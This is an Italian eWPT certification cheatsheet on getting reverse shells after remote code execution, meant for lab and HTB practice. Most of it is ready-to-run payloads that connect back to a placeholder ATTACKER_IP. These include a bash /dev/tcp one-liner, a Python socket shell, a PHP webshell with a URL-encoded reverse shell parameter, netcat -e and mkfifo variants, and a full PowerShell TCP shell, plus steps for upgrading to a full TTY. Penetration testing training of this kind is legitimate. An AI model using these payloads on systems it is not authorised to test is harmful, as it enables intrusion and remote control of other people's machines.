← Tutti i cheatsheet

eWPT · Exploitation & Post-Ex

Reverse Shells

Difficoltà: Intermediate Time to Master: 1.5h Prerequisiti: 02-RCE-Techniques.md Lab: qualsiasi lab con RCE confermata


Obiettivo

Un comando singolo alla volta (come nella command injection appena vista) è scomodo: ogni azione richiede una nuova richiesta HTTP, e cose come cd, sudo -l interattivo o un editor di testo diventano quasi impossibili da usare. Qui trasformi quell’esecuzione episodica in una shell vera, persistente, dove puoi lavorare come se fossi seduto davanti al terminale del server — è il passaggio che rende possibile tutta l’enumerazione post-exploitation e la privilege escalation che segue.


Concetti chiave

Reverse vs Bind shell

Tipo Chi inizia la connessione Quando usarla
Reverse shell il TARGET si connette a te preferita, bypassa firewall inbound sul target
Bind shell tu ti connessi al TARGET su una porta aperta se il target non può raggiungerti in uscita

Setup listener (sempre per primo)

nc -lvnp 4444

Strumenti

Tool Comando base Output Note
netcat nc -lvnp PORT listener sul TUO host, sempre avviato prima
rlwrap rlwrap nc -lvnp PORT listener con history/frecce qualità della vita migliore

Payload / Esempi

Esempio 1: bash reverse shell (target Linux con bash)

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Esempio 2: Python reverse shell (quando bash -i non è disponibile)

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Esempio 3: PHP reverse shell (via webshell RCE)

<?php system($_GET['cmd']); ?>

Poi passa il comando reverse shell come valore di cmd:

?cmd=bash -c 'bash -i >%26 /dev/tcp/ATTACKER_IP/4444 0>%261'

Esempio 4: netcat con -e (se la versione lo supporta)

nc -e /bin/sh ATTACKER_IP 4444

Spiegazione: l’opzione -e NON è presente in tutte le build di netcat: la versione OpenBSD (default su molte distro moderne, incluso Debian/Ubuntu/Kali recenti) la disabilita di default per motivi di sicurezza, mentre le build “traditional”/GNU (nc-traditional, nc.traditional) la includono. Verifica sempre con nc -h prima di affidarti a -e; se assente, usa la variante Python (Esempio 2), un fifo (mkfifo /tmp/f; /bin/sh -i < /tmp/f | nc ATTACKER_IP 4444 > /tmp/f), oppure ncat --exec (nmap) o socat.

Esempio 5: PowerShell reverse shell (target Windows)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Esempio 6: upgrade a shell TTY completa dopo la connessione iniziale

# nella reverse shell ricevuta:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# poi Ctrl+Z per sospendere:
stty raw -echo; fg
# infine nel terminale locale, se serve ridimensionare:
stty rows 38 columns 116

Spiegazione: una reverse shell “grezza” non supporta tab-completion, frecce direzionali, o Ctrl+C correttamente: l’upgrade a PTY completo (Python pty + stty) rende la shell utilizzabile come un vero terminale, indispensabile per tool interattivi (su, vim, sudo -l).


Evasion / Bypass Techniques

Bypass filtro su parole chiave nella command injection

Vedi 02-RCE-Techniques.md per tecniche di bypass su spazi/keyword applicabili anche qui, dato che il payload reverse shell spesso passa attraverso lo stesso canale di command injection.

Payload URL-encoded per passare tramite parametro GET

bash -c 'bash -i >%26 /dev/tcp/ATTACKER_IP/4444 0>%261'

Lab Hands-On

Lab 1: qualsiasi HTB/lab con RCE già confermata

Obiettivo: ottenere shell interattiva completa da un RCE Difficulty: Facile-Medio Time: 30 min

Walkthrough breve:

  1. Avvia listener nc -lvnp 4444
  2. Invia payload reverse shell tramite il vettore RCE trovato
  3. Upgrade a shell TTY completa

Common Mistakes

  • Dimenticare di avviare il listener PRIMA di inviare il payload -> la connessione fallisce silenziosamente
  • Non fare l’upgrade a TTY completo -> impossibile usare sudo -l, su, editor interattivi correttamente
  • Scegliere il linguaggio sbagliato (Python payload su un target senza Python installato) -> verifica sempre disponibilità interpreti prima


Connessioni


Checklist di padronanza

  • So ottenere reverse shell su Linux (bash/Python) e Windows (PowerShell)
  • So fare l’upgrade a TTY completa
  • So scegliere il payload giusto in base agli interpreti disponibili sul target